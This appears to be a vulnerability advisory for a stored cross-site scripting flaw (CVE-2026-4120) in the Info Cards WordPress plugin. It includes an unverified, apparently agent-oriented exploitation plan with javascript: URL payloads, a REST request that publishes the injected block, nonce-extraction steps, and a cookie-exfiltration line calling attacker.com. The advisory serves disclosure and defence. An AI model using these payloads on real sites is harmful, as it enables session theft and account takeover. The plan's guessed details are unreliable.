CVE-2026-4120

Info Cards <= 2.0.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Block Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.0.8
Patched in
1d
Time to patch

Description

The Info Cards – Add Text and Media in Card Layouts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'btnUrl' parameter within the Info Cards block in all versions up to, and including, 2.0.7. This is due to insufficient input validation on URL schemes, specifically the lack of javascript: protocol filtering. The block's render.php passes all attributes as JSON to the frontend via a data-attributes HTML attribute using esc_attr(wp_json_encode()), which prevents HTML attribute injection but does not validate URL protocols within the JSON data. The client-side view.js then renders the btnUrl value directly as an href attribute on anchor elements without any protocol sanitization. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject javascript: URLs that execute arbitrary web scripts when a user clicks the rendered button link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0.7
PublishedMarch 18, 2026
Last updatedMarch 19, 2026
Affected plugininfo-cards

What Changed in the Fix

Changes introduced in v2.0.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-4120**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Info Cards" WordPress plugin (version <= 2.0.7). ### 1. Vulnerability Summary The vulnerability exists because the plugin allows the `btnUrl` attribute of its Gutenberg block to cont…

Show full research plan

This exploitation research plan targets CVE-2026-4120, a Stored Cross-Site Scripting (XSS) vulnerability in the "Info Cards" WordPress plugin (version <= 2.0.7).

1. Vulnerability Summary

The vulnerability exists because the plugin allows the btnUrl attribute of its Gutenberg block to contain javascript: URIs. While the server-side rendering in build/render.php uses esc_attr(wp_json_encode()) to safely embed attributes into a data-attributes HTML attribute, the client-side view.js subsequently extracts this JSON and assigns the btnUrl value directly to the href property of an anchor (<a>) element without protocol validation. This allows an authenticated user with at least Contributor-level permissions to inject malicious scripts that execute when a victim clicks a button within the rendered Info Card.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API for post creation/update (/wp/v2/posts) or the Gutenberg editor interface.
  • Vulnerable Attribute: btnUrl within the bplugins/info-cards block (namespace inferred).
  • Payload Location: The block's JSON attributes.
  • Authentication Level: Authenticated (Contributor+). Contributors can create posts and insert blocks.
  • Preconditions: The plugin must be active, and a post containing the malicious block must be published or viewed as a draft by a user with higher privileges (e.g., Administrator).

3. Code Flow

  1. Input: A Contributor creates/updates a post containing a block with the following markup:
    <!-- wp:bplugins/info-cards {"btnUrl":"javascript:alert(document.domain)","btnText":"Click Me"} /-->
  2. Server-Side Storage: WordPress saves the raw block markup in the post_content column of the wp_posts table.
  3. Server-Side Rendering (build/render.php):
    • The register_block_type call in info-cards.php points to the build directory.
    • build/render.php executes when the post is viewed.
    • It retrieves $attributes (which includes btnUrl).
    • It renders: <div ... data-attributes='<?php echo esc_attr( wp_json_encode( $attributes ) ); ?>'></div>.
    • At this stage, the payload is safely encoded inside a JSON string within an HTML attribute.
  4. Client-Side Execution (build/view.js):
    • The script (minified in the source) iterates through elements with data-attributes.
    • It calls JSON.parse() on the attribute value.
    • It dynamically generates an anchor tag: const a = document.createElement('a');.
    • It assigns the URL: a.href = attributes.btnUrl; (Vulnerable Sink).
    • The browser does not block javascript: protocols assigned to href via JavaScript.

4. Nonce Acquisition Strategy

To exploit this via the REST API (the most reliable automated method), the agent needs a wp_rest nonce.

  1. Identify Trigger: The block's frontend script is required to trigger the XSS.
  2. Access Admin: Authenticate as contributor.
  3. Extract Nonce:
    • Navigate to wp-admin/post-new.php.
    • Use browser_eval to extract the REST nonce from the WordPress global settings object.
    • JavaScript Command: window.wpApiSettings.nonce
  4. Fallback: If wpApiSettings is missing, extract the _wpnonce from any REST API script tag or the heartbeat settings.

5. Exploitation Strategy

  1. Authentication: Log in to the WordPress instance as a user with the contributor role.
  2. Nonce Extraction: Navigate to /wp-admin/post-new.php and run browser_eval("wpApiSettings.nonce") to get the REST API nonce.
  3. Payload Preparation: Define the block markup.
    <!-- wp:bplugins/info-cards {"btnUrl":"javascript:alert(document.cookie)","btnText":"Secure Button"} /-->
    
  4. Post Creation: Send a POST request to /wp-json/wp/v2/posts using the http_request tool.
    • Headers:
      • Content-Type: application/json
      • X-WP-Nonce: [EXTRACTED_NONCE]
    • Body:
      {
        "title": "Info Card XSS Test",
        "content": "<!-- wp:bplugins/info-cards {\"btnUrl\":\"javascript:alert(document.cookie)\",\"btnText\":\"Click Me\"} /-->",
        "status": "publish"
      }
      
  5. Triggering XSS:
    • As an Administrator, navigate to the newly created post's permalink.
    • The view.js will process the data-attributes and create the malicious link.
    • Click the element with the text "Click Me".

6. Test Data Setup

  1. User: Ensure a user with role contributor exists (e.g., contributor_user / password123).
  2. Plugin Status: Ensure "Info Cards" version 2.0.7 is installed and activated.
  3. Post Setup: No specific existing content is required; the exploit creates its own post.

7. Expected Results

  • The POST request should return 201 Created.
  • The rendered HTML of the post should contain:
    <div ... data-attributes='{"btnUrl":"javascript:alert(document.cookie)","btnText":"Click Me",...}'>
  • Upon clicking the button, a JavaScript alert box should appear displaying the user's cookies, confirming execution in the context of the victim's session.

8. Verification Steps

  1. Check DB State: Use wp post get [ID] --field=post_content to verify the block markup is stored correctly.
  2. Inspect HTML: Use browser_navigate to the post and browser_eval to check the href of the generated anchor:
    • Command: document.querySelector('a.icb-card-btn').href (selector icb-card-btn is inferred from bPlugins standards; verify actual class if needed).
  3. Confirm Sink: Verify the value starts with javascript:.

9. Alternative Approaches

  • Editor Injection: If the REST API is restricted, use browser_navigate to /wp-admin/post-new.php, then use browser_type and browser_click to manually insert a "Custom HTML" block or "Info Card" block if the agent can interact with the Gutenberg UI.
  • Draft Preview: If the Contributor cannot publish, they can save as a draft. The Administrator can then be directed to /wp-admin/post.php?post=[ID]&action=edit or the preview URL to trigger the XSS.
  • Blind XSS: Replace alert() with a fetch() call to an external collaborator to demonstrate data exfiltration.
    • Payload: javascript:fetch('https://attacker.com/log?c='+btoa(document.cookie))

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.